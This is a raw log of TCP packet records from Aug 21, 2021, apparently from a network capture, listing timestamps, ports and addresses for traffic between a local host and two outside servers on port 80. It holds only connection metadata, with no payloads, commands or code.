Aug 21, 2021 21:46:33.311973095 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.311981916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312002897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312016010 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312024117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312050104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312064886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312067032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312088013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312108994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312114954 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312131882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312154055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312175035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312196016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312221050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312242031 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312246084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312253952 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312259912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312267065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312271118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312288046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312309980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312319040 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312330961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312352896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312357903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312375069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312401056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312422991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312436104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312453032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312474012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312494040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312500000 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312517881 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312524080 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312541008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312555075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312561989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312582970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312588930 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312603951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312623978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312625885 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312648058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312669039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312683105 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312695026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312720060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312737942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312741995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312763929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312767982 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312788010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312808037 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312808990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312832117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312853098 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312877893 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312877893 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312900066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312922001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312943935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312964916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.312975883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312983990 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.312985897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313007116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313021898 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.313031912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313059092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313060999 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.313081980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313082933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.313102961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313126087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313136101 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.313148022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313169003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313179970 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.313189030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313210964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313226938 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.313237906 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313256979 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.313261032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313306093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.313329935 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.339704990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339757919 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339776039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339802980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339827061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339884996 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.339899063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339905024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.339921951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339946985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339968920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.339978933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.339993954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340018034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340037107 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340040922 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340068102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340068102 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340094090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340116978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340130091 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340142012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340166092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340186119 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340189934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340214014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340215921 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340240002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340265036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340265036 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340286970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340303898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340320110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340327978 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340339899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340361118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340379953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340399981 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340404034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340405941 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340425968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340440035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340446949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340466022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340478897 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340487003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340504885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340524912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340533972 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340548992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340565920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340574980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340586901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340598106 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340610981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340626955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340636015 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340648890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340666056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340675116 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340691090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340703011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340713024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340732098 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340748072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340758085 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340770960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340789080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340796947 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340811968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340831041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340831041 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340852976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340868950 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340879917 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340892076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340915918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340938091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340940952 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340960026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.340966940 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.340981960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341001034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341007948 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341025114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341047049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341048956 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341068029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341089010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341090918 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341111898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341135025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341135025 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341156960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341177940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341201067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341202021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341227055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341228962 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341252089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341264009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341275930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341300964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341324091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341327906 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.341346979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.341367960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.367700100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367743969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367779970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367813110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367829084 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.367842913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367871046 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.367875099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367887020 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.367913008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367947102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.367957115 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.367978096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.368010044 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.368041992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.368053913 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.368072033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.368083954 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.368102074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.368134975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.368168116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.368177891 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.368211031 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.455832958 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:37.002154112 CEST	49739	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:37.160090923 CEST	80	49739	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:37.160391092 CEST	49739	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:37.160623074 CEST	49739	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:37.160646915 CEST	49739	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:37.317051888 CEST	80	49739	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:37.694118977 CEST	80	49739	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:37.694135904 CEST	80	49739	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:37.694271088 CEST	49739	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:37.694415092 CEST	49739	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:37.739506960 CEST	49740	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:37.777522087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:37.820914984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:37.822333097 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:37.848572016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:37.851994038 CEST	80	49739	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:37.900121927 CEST	80	49740	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:37.978749990 CEST	49740	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:38.005906105 CEST	49740	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:38.005949974 CEST	49740	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:38.167150021 CEST	80	49740	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:38.720841885 CEST	80	49740	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:38.720870972 CEST	80	49740	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:38.721004963 CEST	49740	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:38.747661114 CEST	49740	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:38.908153057 CEST	80	49740	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:39.179039955 CEST	49741	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:39.342186928 CEST	80	49741	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:39.342319012 CEST	49741	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:39.350886106 CEST	49741	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:39.350902081 CEST	49741	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:39.513679028 CEST	80	49741	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:40.059688091 CEST	80	49741	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:40.059714079 CEST	80	49741	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:40.059844017 CEST	49741	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:40.424649954 CEST	49741	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:40.586671114 CEST	80	49741	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:40.627077103 CEST	49742	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:40.787669897 CEST	80	49742	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:40.787987947 CEST	49742	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:40.802294970 CEST	49742	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:40.802335978 CEST	49742	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:40.961229086 CEST	80	49742	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:41.509047985 CEST	80	49742	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:41.509073973 CEST	80	49742	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:41.509279966 CEST	49742	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:42.423620939 CEST	49742	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:42.584348917 CEST	80	49742	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:42.917463064 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:42.944129944 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:42.944272995 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.000843048 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.028088093 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028125048 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028142929 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028158903 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028173923 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028191090 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028207064 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028213978 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.028223991 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028239965 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028259993 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.028266907 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.028296947 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.029179096 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.029236078 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057178974 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057208061 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057234049 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057254076 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057271957 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057291985 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057298899 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057312012 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057334900 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057389021 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057396889 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057399988 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057426929 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057449102 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057466984 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057482958 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057487965 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057508945 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057526112 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057537079 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057543039 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057549953 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057569981 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057576895 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057593107 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057615042 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057615995 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057640076 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.057641983 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.057673931 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084525108 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084625006 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084647894 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084664106 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084683895 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084702969 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084718943 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084734917 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084753036 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084758997 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084781885 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084790945 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084801912 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084811926 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084824085 CEST	80	49743	45.138.172.28	192.168.2.7
